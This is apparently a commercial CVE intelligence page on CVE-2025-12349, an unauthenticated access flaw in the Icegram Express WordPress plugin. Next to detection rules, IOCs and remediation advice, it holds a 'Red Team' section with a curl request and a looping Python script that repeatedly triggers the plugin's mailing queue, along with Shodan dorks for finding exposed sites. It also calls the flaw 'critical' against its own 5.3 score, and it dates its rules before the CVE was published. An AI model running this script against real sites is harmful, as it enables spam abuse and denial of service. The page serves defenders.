☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12349

CVE-2025-12349 Denial of Service in Icegram
📅 PUBLISHED: 2025-11-19 04:28 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: L Availability Low
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12349 is a critical authorization bypass vulnerability in the Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress. This flaw, present in versions up to and including 5.9.10, allows unauthenticated attackers to trigger the trigger_mailing_queue_sending function without proper permission checks. The vulnerability enables forced immediate email sending, bypass of scheduled mailings, increased server load, and manipulation of plugin state variables (e.g., last-cron-hit). This can lead to abuse of the email sending mechanism for spam campaigns or cause a Denial-of-Service (DoS) effect on the WordPress server.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software. The lack of a patch or official advisory from the vendor (Icegram) increases the risk for all sites running the affected plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a WordPress plugin vulnerability distributed via the WordPress plugin repository and third-party marketplaces. The supply chain risk is limited to the plugin's update mechanism; however, since no patch is available, users must manually disable or remove the plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: Low

The medium severity rating reflects the lack of direct data theft but highlights the potential for abuse of email sending capabilities and server resource exhaustion.

Deep Dive & Mechanics

The vulnerability resides in the trigger_mailing_queue_sending function within the Icegram Express plugin. This function is intended to be called by WordPress cron jobs to process the email queue. However, it is exposed via an AJAX action or direct URL endpoint without proper capability checks.

Root Cause: The plugin fails to verify that the requesting user has the necessary permissions (e.g., manage_options or edit_posts) before executing the function. This allows any unauthenticated visitor to invoke the function.

Attack Flow:

  1. An attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=trigger_mailing_queue_sending).
  2. The plugin executes the function, which processes the email queue immediately.
  3. The attacker can repeatedly call this endpoint to:
    • Force immediate sending of all queued emails, bypassing scheduled times.
    • Overload the mail server by sending large volumes of emails.
    • Manipulate the last-cron-hit timestamp, disrupting legitimate cron scheduling.
    • Cause high CPU and memory usage on the WordPress server, leading to DoS.

Impact:

  • Spam Abuse: Attackers can use the site's email server to send unsolicited emails, damaging the site's reputation.
  • Resource Exhaustion: Repeated calls can consume server resources, affecting other services.
  • Cron Disruption: Legitimate scheduled tasks may be skipped or delayed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. The fix would require adding a capability check before executing the function.

Vulnerable Code (in email-subscribers.php or similar):

add_action('wp_ajax_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');
add_action('wp_ajax_nopriv_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');

function trigger_mailing_queue_sending() {
    // Process email queue without permission check
    // ...
}

Patched Code (hypothetical):

add_action('wp_ajax_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');
// Remove the nopriv action to prevent unauthenticated access

function trigger_mailing_queue_sending() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Process email queue
    // ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with Icegram Express plugin version <= 5.9.10 installed and activated.
  • The plugin must have emails in the queue (e.g., from a newsletter campaign).

Exploitation Steps:

  1. Identify the vulnerable endpoint. The default is:
    http://target/wp-admin/admin-ajax.php?action=trigger_mailing_queue_sending
    
  2. Send a GET or POST request to this endpoint without authentication:
    curl -X POST "http://target/wp-admin/admin-ajax.php" \
         -d "action=trigger_mailing_queue_sending"
    
  3. Observe immediate email sending and server load increase.
  4. Repeat the request multiple times to amplify the effect.

Automation Script (Python):

import requests
import time

target = "http://target/wp-admin/admin-ajax.php"
payload = {"action": "trigger_mailing_queue_sending"}

while True:
    try:
        r = requests.post(target, data=payload)
        print(f"Triggered at {time.ctime()}: {r.status_code}")
    except Exception as e:
        print(f"Error: {e}")
    time.sleep(1)  # Adjust frequency as needed

Blue Team

Detection:

  • Monitor for repeated requests to /wp-admin/admin-ajax.php with action=trigger_mailing_queue_sending.
  • Look for spikes in email sending volume or server CPU usage.
  • Check for unauthorized changes to the last-cron-hit option in the database.

Mitigation:

  • Immediately disable the Icegram Express plugin if no patch is available.
  • Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from unauthenticated users.
  • Restrict access to admin-ajax.php using IP whitelisting or .htaccess rules.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" \
    "chain,id:1001,deny,status:403,msg:'Icegram Express Exploit Attempt'"
SecRule ARGS:action "^trigger_mailing_queue_sending$"

Indicators of Compromise (IOCs)

  • Network:
    • Repeated HTTP requests to /wp-admin/admin-ajax.php with action=trigger_mailing_queue_sending.
    • High volume of outbound SMTP traffic from the WordPress server.
  • Host:
    • High CPU and memory usage by the web server process.
    • Unusual entries in the WordPress cron log (e.g., last-cron-hit timestamp changes).
  • Database:
    • Modified wp_options table entries for ig_es_last_cron_hit or similar.
  • Logs:
    • Web server access logs showing multiple requests to the vulnerable endpoint from the same IP.

Detection Engineering

YARA Rule

rule Icegram_Express_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12349 in Icegram Express plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12349"
    strings:
        $ajax_action = "trigger_mailing_queue_sending"
        $admin_ajax = "/wp-admin/admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: Icegram Express Authorization Bypass Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to trigger_mailing_queue_sending in Icegram Express plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12349
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=trigger_mailing_queue_sending'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-12349 Icegram Express Authorization Bypass";
    flow:to_server;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=trigger_mailing_queue_sending";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-12349;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: Deactivate and uninstall the Icegram Express plugin until a patch is released.
  2. Block Endpoint: Add a rule to your web server or WAF to block unauthenticated access to the vulnerable AJAX action.
  3. Monitor Logs: Review web server and email logs for signs of exploitation.

Long-Term Fix:

  • Await an official patch from Icegram. Once available, update to the patched version immediately.
  • Implement a Content Security Policy (CSP) to restrict AJAX calls.
  • Regularly audit WordPress plugins for known vulnerabilities.

Workaround (if plugin must remain active):

  • Add a custom capability check by modifying the plugin code (not recommended for production):
    add_action('wp_ajax_trigger_mailing_queue_sending', 'trigger_mailing_queue_sending');
    // Remove the nopriv action
    function trigger_mailing_queue_sending() {
        if (!current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
        // Original function code
    }
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Icegram Express"
http.html:"icegram-express"
http.html:"/wp-content/plugins/email-subscribers/"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12349/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.